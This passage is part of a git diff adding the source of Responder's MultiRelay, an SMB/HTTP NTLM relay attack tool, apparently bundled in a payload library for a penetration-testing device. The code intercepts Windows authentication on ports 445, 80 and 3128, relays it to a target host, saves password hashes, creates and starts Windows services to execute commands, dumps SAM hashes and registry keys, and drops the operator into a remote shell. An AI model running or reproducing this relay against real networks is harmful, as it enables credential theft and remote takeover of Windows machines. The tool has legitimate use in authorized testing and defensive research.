+ raise + + s = ConnectToTarget() + + try: + data = self.request.recv(4096) + + ##Negotiate proto answer. That's us. + if data[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data)) + t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(4096) + + ## Make sure it's not a Kerberos auth. + if data.find("NTLM") is not -1: + ## Start with nego protocol + session setup negotiate to our target. + data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s) + + ## Make sure it's not a Kerberos auth. + if data.find("NTLM") is not -1: + ##Relay all that to our client. + if data[8:10] == "\x73\x00": + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. + #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. + t = smbdata[36:] + packet0 = str(head)+str(t) + buffer0 = longueur(packet0)+packet0 + self.request.send(buffer0) + data = self.request.recv(4096) + else: + #if it's kerberos, ditch the connection. + s.close() + return None + + if IsSMBAnonymous(data): + ##Send logon failure for anonymous logins. + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = SMBSessEmpty() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + #data = self.request.recv(4096) ##Make him feel bad, ditch the connection. + s.close() + return None + + else: + #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login + #and has not attempted before. While at it, let's grab his hash. + Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host) + if Username is not None: + ##Got the ntlm message 3, send it over to SMB. + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") + t = data[36:]#Final relay. + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + print "[+] SMB Session Auth sent." + s.send(buffer1) + smbdata = s.recv(4096) + #We're all set, dropping into shell. + RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) + #If runcmd is None it's because tree connect was denied for this user. + #This will only happen once with that specific user account. + #Let's kill that connection so we can force him to reauth with another account. + if RunCmd is None: + s.close() + return None + + else: + ##Send logon failure, so our client might authenticate with another account. + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = SMBSessEmpty() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(4096) + s.close() + return None + + except Exception: + s.close() + self.request.close() + ##No need to print anything (timeouts, rst, etc) to the user console.. + pass + + +#Interface starts here. +def RunShellCmd(data, s, clientIP, Host, Username, Domain): + # On this block we do some verifications before dropping the user into the shell. + if data[8:10] == "\x73\x6d": + print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." + print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" + Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + return False + + if data[8:10] == "\x73\x8d": + print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" + Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + return False + + if data[8:10] == "\x73\x5e": + print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" + return False + + ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: + ## Tree Connect + if data[8:10] == "\x73\x00": + GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ## Nope he doesn't. + if data[8:10] == "\x75\x22": + print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" + Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + return False + + # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. + if data[8:10] == "\x75\xcc": + print "[+] Tree Connect AndX denied. Bad Network Name returned." + return False + + ## Tree Connect on C$ is successfull. + if data[8:10] == "\x75\x00": + print "[+] Looks good, "+Username+" has admin rights on C$." + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ## Run one command. + if data[8:10] == "\x75\x00" and OneCommand != None or Dump: + print "[+] Authenticated." + if OneCommand != None: + print "[+] Running command: %s"%(OneCommand) + RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host) + if Dump: + print "[+] Dumping hashes" + DumpHashes(data, s, Host) + os._exit(1) + + ## Drop into the shell. + if data[8:10] == "\x75\x00" and OneCommand == None: + print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" + ShowHelp() + #Make sure we don't open 2 shell at the same time.. + global ShellOpen + ShellOpen = ["Shell is open"] + + while True: + + ## We either just arrived here or we're back from a command operation, let's setup some stuff. + if data[8:10] == "\x75\x00": + #start a thread for raw_input, so we can do other stuff while we wait for a command. + t = Thread(target=get_command, args=()) + t.start() + t.join() + #For now, this is not functionning as expected. The SMB echos are killing the connection + #way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself. + #So let's use the tree connects wait (average time before timeout:5-12h) + """ + while any(x in Cmd for x in Cmd) is False: + SMBKeepAlive(s, data) + time.sleep(20) + pass + """ + + ##Grab the commands. Cmd is global in get_command(). + Read = re.findall(r'(?<=read )[^\r]*', Cmd[0]) + RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0]) + Get = re.findall(r'(?<=get )[^\r]*', Cmd[0]) + Help = re.findall(r'(?<=help)[^\r]*', Cmd[0]) + + if Cmd[0] == "exit": + print "[+]Returning in relay mode." + del Cmd[:] + del ShellOpen[:] + return None + + ##For all of the following commands we send the data (var:data) returned by the + ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. + ##We also clean up the command array when done. + if Cmd[0] == "dump": + data = DumpHashes(data, s, Host) + del Cmd[:] + + if Read: + File = Read[0] + data = ReadFile(data, s, File, Host) + del Cmd[:] + + if Get: + File = Get[0] + data = GetAfFile(data, s, File, Host) + del Cmd[:] + + if RegDump: + Key = RegDump[0] + data = SaveAKey(data, s, Host, Key) + del Cmd[:] + + if Help: + ShowHelp() + del Cmd[:] + + ##Let go with the command. + if any(x in Cmd for x in Cmd): + if len(Cmd[0]) > 1: + data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host) + del Cmd[:] + + if data is None: + print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n" + + if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")# + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + +class ThreadingTCPServer(TCPServer): + def server_bind(self): + TCPServer.server_bind(self) + +ThreadingTCPServer.allow_reuse_address = 1 +ThreadingTCPServer.daemon_threads = True + +def serve_thread_tcp(host, port, handler): + try: + server = ThreadingTCPServer((host, port), handler) + server.serve_forever() + except: + print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) + +def main(): + try: + threads = [] + threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,))) + threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,))) + threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,))) + if ExtraPort != 0: + threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,))) + for thread in threads: + thread.setDaemon(True) + thread.start() + + while True: + time.sleep(1) + + except (KeyboardInterrupt, SystemExit): + sys.exit("\rExiting...") + +if __name__ == '__main__': + main() diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/RelayMultiCore.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/RelayMultiCore.py new file mode 100644 index 0000000..20ccfdb --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/RelayMultiCore.py @@ -0,0 +1,1246 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import sys +import random +import time +import os +import re +import datetime +from RelayMultiPackets import * +from odict import OrderedDict +from base64 import b64decode, b64encode +sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), 'creddump'))) +from framework.win32.hashdump import dump_file_hashes +from SMBFinger.Finger import ShowSmallResults + +SaveSam_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/relay-dumps/" +Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" + +READTIMEOUT = 1 +READ = "\xc0\x00" +RW = "\xc2\x00" + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +# Function used to write captured hashs to a file. +def WriteData(outfile, data, user): + if not os.path.isfile(outfile): + with open(outfile,"w") as outf: + outf.write(data + '\n') + return + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + return False + elif re.search(re.escape("$"), user): + return False + with open(outfile,"a") as outf2: + outf2.write(data + '\n') + +#Function used to verify if a previous auth attempt was made. +def ReadData(Outfile, Client, User, Domain, Target, cmd): + try: + with open(Logs_Path+"logs/"+Outfile,"r") as filestr: + Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure" + if re.search(Login.encode('hex'), filestr.read().encode('hex')): + print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User) + return True + + else: + return False + except: + raise + +def ServeOPTIONS(data): + WebDav= re.search('OPTIONS', data) + if WebDav: + Buffer = WEBDAV_Options_Answer() + return str(Buffer) + + return False + +def IsSMBAnonymous(data): + SSPIStart = data.find('NTLMSSP') + SSPIString = data[SSPIStart:] + Username = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' 60: + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack('= 258: + Challenge = data[106:114] + print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") + return Challenge + +#Here we extract the complete NTLM message from an HTTP request and we will later feed it to our SMB target. +def ExtractRawNTLMPacket(data): + SecBlobLen = struct.unpack(" 1024 and suffixIndex < 4: + suffixIndex += 1 + size = size/1024.0 + return "%.*f%s"%(precision,size,suffixes[suffixIndex]) + +def WriteOutputToFile(data, File): + with open(SaveSam_Path+"/"+File, "wb") as file: + file.write(data) + +##This function is one of the main SMB read function. We request all the time 65520 bytes to the server. +#Add (+32 (SMBHeader) +4 Netbios Session Header + 27 for the ReadAndx structure) +63 and you end up with 65583. +#set the socket to non-blocking then grab all data, if our target has less than 65520 (last packet) grab the incoming +#data until we reach our custom timeout. Set back the socket to blocking and return the data. +def SMBReadRecv(s): + Completedata=[] + data='' + Start=time.time() + s.setblocking(0) + while 1: + if len(''.join(Completedata)) == 65583: + break + if Completedata and time.time()-Start > READTIMEOUT:#Read timeout + break + try: + data = s.recv(65583) + if data: + Completedata.append(data) + Start=time.time() + else: + break + except: + pass + + s.setblocking(1) + return s, ''.join(Completedata) + +##We send our ReadAndX request with our offset and call SMBReadRecv +def ReadOutput(DataOffset, f, data, s): + head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = ReadRequestAndX(FID=f, Offset = DataOffset) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + s, data = SMBReadRecv(s) + return data, s, ExtractCommandOutput(data) + +##When used this function will inject an OpenAndX file not found SMB Header into an incoming packet. +##This is usefull for us when an operation fail. We land back to our shell and send directly a +##Tree Connect IPC$ so we don't loose this precious connection. +def ModifySMBRetCode(data): + modified = list(data) + modified[8:10] = "\x2d\x34" + return ''.join(modified) + + +### +#SMBRelay grab +### + +def GrabNegotiateFromTarget(data, s): + ## Start with nego protocol + session setup negotiate to our target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + smbdata = s.recv(4096) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. + if smbdata[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + t = data[36:] #simply grab the whole packet except the smb header from the client. + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + smbdata = s.recv(4096) + challenge = ExtractSMBChallenge(smbdata)#Grab the challenge, in case we want to crack the hash later. + return data, smbdata, s, challenge + +def SendChallengeToClient(data, smbdata, conn): + ##Relay all that to our client. + if data[8:10] == "\x73\x00": + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = smbdata[36:]#simply grab the whole packet except the smb header from the client. + packet0 = str(head)+str(t) + buffer0 = longueur(packet0)+packet0 + conn.send(buffer0) + data = conn.recv(4096) + return data, conn +### +#BindCall +### + +def BindCall(UID, Version, File, data, s): + Data = data + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBNTCreateData(FileName=File) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## Fail Handling. + if data[8:10] == "\xa2\x22": + print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n" + return ModifySMBRetCode(data) + + ## Fail Handling. + if data[8:10]== "\xa2\xac":##Pipe is sleeping. + f = "PipeNotAvailable" + return Data, s, f + + ## Fail Handling. + if data[8:10]== "\xa2\x34":##Pipe is not enabled. + f = "ServiceNotFound" + return Data, s, f + + ## DCE/RPC Write. + if data[8:10] == "\xa2\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + x = SMBDCEData(CTX0UID=UID, CTX0UIDVersion=Version) + x.calculate() + f = data[42:44] + t = SMBWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + +########################### +#Launch And Create Service +########################### +def CreateService(Command, f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC Create Service. + if data[8:10] == "\x25\x00": + ContextHandler = data[84:104] + ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) + ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + #print "[+] Creating service" + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) + ContextHandlerService = data[88:108] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLQueryService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to start the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + s.send(buffer1) + data = s.recv(2048) + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLDeleteService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to start the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to delete the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + + +########################### +#Start Winreg Service +########################### +def StartWinregService(f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) + #ContextHandlerService = data[88:108] + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName="RemoteRegistry") + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLQueryService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to start the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to query the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + +########################### +#Stop Winreg Service +########################### +def StopWinregService(f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) + #ContextHandlerService = data[88:108] + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName="RemoteRegistry") + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLQueryService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to stop the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to query the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) 